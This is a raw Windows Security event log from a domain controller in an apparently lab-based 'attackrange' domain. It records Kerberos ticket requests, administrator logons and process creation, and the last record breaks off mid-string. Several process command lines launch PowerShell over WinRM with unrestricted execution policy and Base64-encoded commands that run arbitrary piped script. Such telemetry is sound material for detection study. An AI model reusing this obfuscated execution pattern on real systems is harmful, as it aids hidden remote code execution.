	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253192
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253191
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\uqrtld0n.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253190
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x198566

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253189
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x198566
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253188
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253187
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253186
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7b0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1138
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x114c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253183
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1971F3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253182
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1971F3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253181
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253180
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32D81B45-7BDD-468A-BC62-F57A417398B1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253179
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253178
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x114c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x374
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253177
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZ